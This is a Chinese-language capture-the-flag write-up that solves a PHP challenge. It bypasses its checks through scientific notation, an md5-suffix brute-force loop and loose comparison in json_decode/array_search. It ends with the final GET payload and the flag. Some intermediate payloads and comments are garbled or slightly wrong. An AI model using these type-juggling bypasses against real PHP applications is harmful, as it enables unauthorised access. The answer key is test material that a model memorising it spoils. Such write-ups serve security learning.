题目介绍
题目(是一段php代码,让我们先来分析一下)
<?php
highlight_file(__FILE__);//高亮显示
$key1 = 0;//定义变量key1并赋值0
$key2 = 0;//定义变量key2并赋值0
$a = $_GET['a'];//变量a通过get传参
$b = $_GET['b'];//变量b通过get传参
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
//如果a不为空且a的整数值大于6000000且a的长度小于3则执行下面的语句
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
//如果b不为空 且 b的后六位数值的md5值为'8b184b'则执行下面的语句
$key1 = 1;
//得到key1 = 1;
}else{
//如果变量b不满足if的条件的话则执行else里面的语句
die("Emmm...再想想");
//输出Emmm
}
}else{
//如果变量a不满足if的条件的话则执行这个else里面的语句
die("Emmm...");
//输出Emmm
}
$c=(array)json_decode(@$_GET['c']);
//接收一个json编码的字符串c转换成php值并放到array数组中
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
//如果c是一个数组且不是数字和数字字符串且$c["m"]大于2022则执行下面的语句
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
//如果c["n"]是数组且c["n"]等于2且c["n"][0]是数组则执行下面的语句
$d = array_search("DGGJ", $c["n"]);
//在数组c["n"]中匹配DGGJ并赋值给d
$d === false?die("no..."):NULL;
//如果d为false则输出no
foreach($c["n"] as $key=>$val){
//对数组c["n"]进行检查
$val==="DGGJ"?die("no......"):NULL;
//如果数组c["n"]是DGGJ则输出no
}
$key2 = 1;
//得到key2
}else{
//如果没有满足上面的条件执行else里面的语句
die("no hack");
//输出no hack
}
}else{
//如果不满足c的条件则出书no
die("no");
}
if($key1 && $key2){
//如果key1和key2都拿到了则执行下面的语句
include "Hgfks.php";
//包含Hgfks.php文件
echo "You're right"."\n";
//输出You're right并换行
echo $flag;
//输出flag
}
?> Emmm...
这题条件设的比较多,我们一点一点来解,从代码的分析来看,如果同时满足了key1和key2那么就可以得到flag,我们要先看一下key1的if条件
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
//如果a不为空且a的整数值大于6000000且a的长度小于3则执行下面的语句
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
//如果b不为空 且 b的后六位数值的md5值为'8b184b'则执行下面的语句
$key1 = 1;
//得到key1 = 1;
$a的整数值要大于6000000,并且长度小于三,这个时候要用科学计数法来绕过a=1e9
1e9 = 110^9 =1000000000
a=1e9
$b的后六位数值的md5值为'8b184b'
$b的值只能用php脚本跑出来了(md5碰撞),b=53724
<?php
for ($i = 1; $i <= 100000; $i++) {
if ('8b184b' === substr(md5($i), -6, 6)) {
echo $i . "<br>" . md5($i);
}
}
输出了Emmm...再想想,说明我们成功拿到了key1,接下来再看看key2怎么拿
$c=(array)json_decode(@$_GET['c']);
//接收一个json编码的字符串c转换成php值并放到array数组中
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
//如果c是一个数组且不是数字和数字字符串且$c["m"]大于2022则执行下面的语句
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
//如果c["n"]是数组且c["n"]等于2且c["n"][0]是数组则执行下面的语句
$d = array_search("DGGJ", $c["n"]);
//在数组c["n"]中匹配DGGJ并赋值给d
$d === false?die("no..."):NULL;
//如果d为false则输出no
foreach($c["n"] as $key=>$val){
//对数组c["n"]进行检查
$val==="DGGJ"?die("no......"):NULL;
//如果数组c["n"]是DGGJ则输出no
}
$key2 = 1;
//得到key2
}else{
//如果没有满足上面的条件执行else里面的语句
die("no hack");
//输出no hack
}
}else{
//如果不满足c的条件则出书no
die("no");
}
作为一个小白的我看着就头疼,但是还要继续搬砖,不能着急,一步一步解析
首先传入的c要是一个JSON格式的字符串,然后解析成数组,不能是数字而且还要大于2022,当字符串与数字相比时会把字符串强制转化为整型即"2024a"会转成2024
重点代码
$c=(array)json_decode(@$_GET['c']);
//接收一个json编码的字符串c转换成php值并放到array数组中
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
//如果c是一个数组且不是数字和数字字符串且$c["m"]大于2022则执行下面的语句
构造pyload
{"m":2024a}
c["n"]是一个数组,长度为2,n的第一个元素也是数组
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
//如果c["n"]是数组且c["n"]等于2且c["n"][0]是数组则执行下面的语句
继续构造pyload
{"m":"2024a","n":[["xxx"]:xxx]}
这里可以看到代码意思是先要求在数组c["n"]中匹配到DGGJ,否则就输出no,然后又要对其进行第二次匹配如果有DGGJ则输出no,不得不吐槽一句(左右为难),这一段代码的重点就在array_search这个函数,该函数进行匹配时如果是字符串与数字,先会把字符串转化为整型再加以比较,而"DGGJ"转化为整型即为0,这样就很好理解了。
$d = array_search("DGGJ", $c["n"]);
//在数组c["n"]中匹配DGGJ并赋值给d
$d === false?die("no..."):NULL;
//如果d为false则输出no
foreach($c["n"] as $key=>$val){
//对数组c["n"]进行检查
$val==="DGGJ"?die("no......"):NULL;
//如果数组c["n"]是DGGJ则输出no
}
$key2 = 1;
//得到key2
构造pyload
{"m":"2024a","n":[[]:0]}
最终pyload
?a=1e9&b=53724&c={"m":"2024a","n":[[],0]}
flag:cyberpeace{a75b45ee38b72326f9e6b2c56ecf6eab}